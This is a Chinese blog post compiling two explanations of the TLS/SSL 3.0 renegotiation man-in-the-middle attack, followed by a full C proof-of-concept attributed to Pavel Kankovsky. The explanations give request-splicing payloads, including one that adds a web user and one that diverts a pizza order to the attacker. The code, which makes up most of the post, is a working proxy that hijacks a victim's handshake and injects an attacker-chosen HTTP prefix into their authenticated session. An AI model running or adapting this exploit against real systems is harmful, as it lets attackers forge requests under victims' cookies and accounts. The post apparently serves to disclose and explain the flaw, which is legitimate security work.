Renegotiating TLS Attack

# 鬼仔:综合帖,有云舒写的,有Sowhat写的,最后还有一个POC。

作者:云舒

摘要:sowhat大牛今天介绍了国外一 种的新的针对TLS/SSL3.0的攻击方式,貌似关注的人不多,所以我特地看了一下那个PDF,稍微八 卦一下。

这个攻击是非常巧妙的,主要是利用了TLS/SSL 3.0重置加密算法机制和HTTP协议请求头的key、value结构,实现了多次数据的组合以完成自己想要的请求,从攻击效果来看有点类似CSRF攻击。主要步骤如下:

1. 攻击者连接目标站点完成SSL握手称为session 1,并发送GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1\r\nFVCK: 之类的数据包。

2. 攻击者劫持被攻击者访问目标站点的数据,在session 1中转发被攻击者与目标服务器之间的SSL握手,被攻击者和目标服务器完成握手称为session 2。

4. 目标站点和被攻击者通过攻击者的转发完成握手,在session 2中被攻击者发送自己的请求数据到目标服务器,类似于GET / HTTP/1.1\r\nHost: www.xxx.com\r\nAccept: */*\r\nCookie: admin=1\r\n\r\n之类的数据。

5. 目标站点在一个SSL Session 1中接收到一个新的SSL Client Hello时,会认为客户端是在要求重新生成密钥,因为在目标服务器看来session 2也是攻击者发过来的,而且是相同的TCP session中。最终导致目标服务器认为session 2是session 1密钥重置之后的延续,会将两次的数据组合到一起。

6. 最终数据如下:GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1\r\nFVCK: GET / HTTP/1.1\r\nHost: www.xxx.com\r\nAccept: */*\r\nCookie: admin=1\r\n\r\n。FVCK字段服务器不认识,真实请求GET / HTTP/1.1当成了FVCK字段的值,一起被忽略掉,攻击者成功的执行了添加WEB系统用户的操作。

=================================================

作者:Sowhat
新的TLS/SSL3.0中间人攻击已公布 – TLS renegotiation attack

刚刚有研究人员公布了一种针对TLS/SSL的中间人攻击, 该攻击

1. exploitable (可操作性比较强)

2. 目前还没有解决方案, 等待各厂商出补丁.

3. 受影响的上层协议包括HTTPS,IMAP, SIP等等.

有人举了下面这个例子来帮助大家理解此洞

E.g., the attacker would send:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This:

And leave the last line empty without a carriage return line feed. Then when the client makes his own request
GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie

the two requests get glued together into:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This: GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie

And the server uses the victim’s account to send a pizza to the attacker.

whitepaper的全文: http://extendedsubset.com/Renegotiating_TLS.pdf

=====================================================

[zz]TLS/SSL3.0中间人攻击代码

BY Pavel Kankovsky

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>

void
fail(const char *proc)
{
  perror(proc);
  exit(1);
}

void
setup_server
    (int *sock, int port)
{
  struct sockaddr_in sa;
  int s, r, i;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  i = 1;
  r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  if (r == -1)
    fail("setup_server:setsockopt(SO_REUSEADDR)");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_server:bind");
  r = listen(s, 5);
  if (r == -1)
    fail("setup_server:listen");
  *sock = s;
}

void
do_accept
    (int *accepted, int sock)
{
  struct sockaddr_in sa;
  socklen_t sl;
  int s;

  sl = sizeof(sa);
  s = accept(sock, (struct sockaddr *) &sa, &sl);
  if (s == -1)
    fail("do_accept:accept");
  fprintf(stderr, "accepted %s:%d\n",
      inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
  *accepted = s;
}

void
setup_client
    (int *sock, in_addr_t ip, int port)
{
  struct sockaddr_in sa;
  int s, r;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = ip;
  sa.sin_port = htons(port);
  r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_client:connect");
  *sock = s;
}

int
xread
    (int fd, unsigned char *buf, size_t len)
{
  int r, rlen;

  rlen = 0;
  while (len > 0) {
    r = read(fd, buf, len);
    if (r == 0)
      break;
    else if (r == -1)
      return -1;
    buf += r;
    len -= r;
    rlen += r;
  }
  return rlen;
}

struct ssl_io_t
{
  SSL *ssl;
  int fd;
  int raw;
};

extern int
ssl3_read_bytes
    (SSL *s, int type, unsigned char *buf, int len, int peek);

int
rec_read
    (struct ssl_io_t *io, unsigned char *buf)
{
  int r, l;

#if 0
  fprintf(stderr, "rec read %s\n",
      io->raw & 1 ? "raw" : "cooked");
#endif
  if (io->raw & 1) {
    r = xread(io->fd, buf, 5);
    if (r == 0)
      return 0;
    else if (r != 5)
      fail("rec_read:read1");
    if (buf[0] != 0x80)
      l = (buf[3] << 8) + buf[4];
    else /* ssl2 hack */
      /* fail("rec_read:ssl2"); */
      l = (buf[1]) - 3;
    if (l < 0 || l > (1 << 15)) {
      errno = EINVAL;
      fail("rec_read:reclen");
    }
    r = xread(io->fd, buf + 5, l);
    if (r != l)
      fail("rec_read:read2");
    l += 5;
    return l;
  }
  else {
    r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
    if (r == 0)
      return 0;
    else if (r < 0) {
      if (io->ssl->s3->change_cipher_spec) {
    buf[0] = 0x14;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = 0;
    buf[4] = 1;
    buf[5] = 1;
    io->raw |= 1;
    io->ssl->s3->change_cipher_spec = 0;
    return 6;
      }
      fail("rec_read:ssl3_read_bytes");
    }
    l = r;
    buf[0] = io->ssl->s3->rrec.type;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = (l >> 8);
    buf[4] = (l & 0xff);
    return l + 5;
  }
}

extern int
ssl3_write_bytes
    (SSL *s, int type, const void *buf_, int len);

void
rec_write
    (struct ssl_io_t *io, unsigned char *buf, size_t len)
{
  int r;

#if 0
  fprintf(stderr, "rec write %s\n",
      io->raw & 2 ? "raw" : "cooked");
#endif
  if (io->raw & 2) {
    r = write(io->fd, buf, len);
    if (r != len)
      fail("rec_write:write");
  }
  else {
    r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
    if (r < 0) {
      fail("rec_read:ssl3_write_bytes");
    }
    if (buf[0] == 0x14) {
      io->raw |= 2;
    }
  }
}

void
ssl_io
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  struct ssl_io_t *ssls[2];
  int maxfd, active;
  int i, r, l;
  fd_set rfd;
  unsigned char buf[1 << 16];

  ssls[0] = assl;
  ssls[1] = cssl;
  active = 3;
  maxfd = 0;
  for (i = 0; i < 2; i++)
    if (ssls[i]->fd >= maxfd)
      maxfd = ssls[i]->fd + 1;

  while (active) {
    FD_ZERO(&rfd);
    for (i = 0; i < 2; i++)
      if (active & (1 << i))
    FD_SET(ssls[i]->fd, &rfd);
    r = select(maxfd, &rfd, NULL, NULL, NULL);
    if (r == -1)
      fail("rec_io:select");
    for (i = 0; i < 2; i++) {
      if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
    r = rec_read(ssls[i], buf);
    if (r == 0) {
      shutdown(ssls[i]->fd, SHUT_RD);
      shutdown(ssls[1 - i]->fd, SHUT_WR);
      active &= ~(1 << i);
      continue;
    }
    l = r;
    rec_write(ssls[1 - i], buf, l);
      }
    }
  }
}

void
setup_ssl_ctx
    (SSL_CTX **ctx)
{
  OpenSSL_add_ssl_algorithms();
  SSL_load_error_strings();
  *ctx = SSL_CTX_new(SSLv3_client_method());
  if (!*ctx)
    fail("setup_ssl_ctx:SSL_CTX_new");
}

void
setup_ssl_io
    (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
  SSL *ssl;
  BIO *bio;

  ssl = SSL_new(ctx);
  if (!ssl)
    fail("setup_ssl_ctx:SSL_new");
  bio = BIO_new_socket(sock, BIO_NOCLOSE);
  if (!bio)
    fail("setup_ssl_ctx:BIO_new_socket");
  SSL_set_bio(ssl, bio, bio);
  SSL_set_connect_state(ssl);
  io->ssl = ssl;
  io->fd = sock;
  io->raw = raw;
}

int
bogus_change_cipher_state
    (SSL *ssl, int i)
{
  return 0;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
  int (*enc)(SSL *, int);
  int (*mac)(SSL *, unsigned char *, int);
  int (*setup_key_block)(SSL *);
  int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  int (*change_cipher_state)(SSL *, int);
  int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
  int finish_mac_length;
  int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
  const char *client_finished_label;
  int client_finished_label_len;
  const char *server_finished_label;
  int server_finished_label_len;
  int (*alert_value)(int);
} SSL3_ENC_METHOD;

#define TRICK "GET /ble HTTP/1.0\r\nX-Blah: "

void
hack_ssl
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  int r, l;
  unsigned char buf[1 << 16];
  SSL_METHOD *mth;

  r = rec_read(assl, buf);
  if (r <= 0)
    fail("hack_ssl:rec_read:no i/o");
  l = r;

  if (buf[0] == 0x16 && buf[1] == 3 &&
      (buf[2] == 0 || buf[2] == 1)) {
    cssl->raw = 0;
    r = SSL_CTX_set_ssl_version
    (cssl->ssl->ctx, buf[2] == 0 ?
     SSLv3_client_method() : TLSv1_client_method());
    if (r != 1)
      fail("hack_ssl:SSL_CTX_set_ssl_version");
    r = SSL_clear(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_clear");
    r = SSL_connect(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_connect");
    /* ssl3_setup_buffers(io->ssl);
       ssl_get_new_session(io->ssl, 0); */
    r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
    if (r != sizeof(TRICK)-1)
      fail("hack_ssl:SSL_connect");
    cssl->ssl->in_handshake++;
    cssl->ssl->method->ssl3_enc->change_cipher_state =
    bogus_change_cipher_state;
  }
  else {
    /* schedule suicide */
    alarm(5);
  }

  rec_write(cssl, buf, l);
}

#define HTTP_OK "HTTP/1.0 200 Connected\r\n\r\n"

void
handle_http_req
    (int sock, in_addr_t *ip, int *port)
{
  int r, l, k;
  unsigned char buf[1 << 16];
  char str[100];
  unsigned short num;
  struct hostent *he;

  l = 0;
  for (;;) {
    r = read(sock, buf + l, sizeof(buf)-1 - l);
    if (r <= 0)
      fail("handle_http_req:read");
    for (k = l; r > 0; ++k, --r)
      if (buf[k] != '\r')
        buf[l++] = buf[k];
    if (l >= 2 && buf[l-1] == '\n' && buf[l-2] == '\n')
      break;
    if (l >= sizeof(buf)-1)
      fail("handle_http_req:req too big");
  }

  buf[l] = '\0';
  r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num);
  if (r != 2)
    fail("handle_http_req:bad request");
  he = gethostbyname(str);
  if (he == NULL || he->h_length != sizeof(in_addr_t))
    fail("handle_http_req:gethostbyname");

  r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
  if (r != sizeof(HTTP_OK)-1)
    fail("handle_http_req:write");

  *ip = *(in_addr_t *)(he->h_addr_list[0]);
  *port = num;
}

int
main
    (int argc, const char **argv)
{
  pid_t pid;
  int ssock, asock, csock;
  SSL_CTX *ctx;
  in_addr_t ip;
  int port;
  struct ssl_io_t assl, cssl;

  setup_ssl_ctx(&ctx);
  setup_server(&ssock, atoi(argv[1]));
  for (;;) {
    do_accept(&asock, ssock);
    pid = fork();
    if (pid == -1)
      fail("main:fork");
    else if (pid == 0) {
      close(ssock);
      handle_http_req(asock, &ip, &port);
      setup_client(&csock, ip, port);
      setup_ssl_io(&assl, ctx, asock, 3);
      setup_ssl_io(&cssl, ctx, csock, 3);
      hack_ssl(&assl, &cssl);
      ssl_io(&assl, &cssl);
      return 0;
    }
    else {
      close(asock);
    }
  }
}

==================

cnbeta新闻:
[详讯]安全专家发现TLS/SSL保密协议存在致命漏洞 http://www.cnbeta.com/articles/97197.htm

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • fantasy70

    POC运行提示段错误,有谁编译了吗

发表评论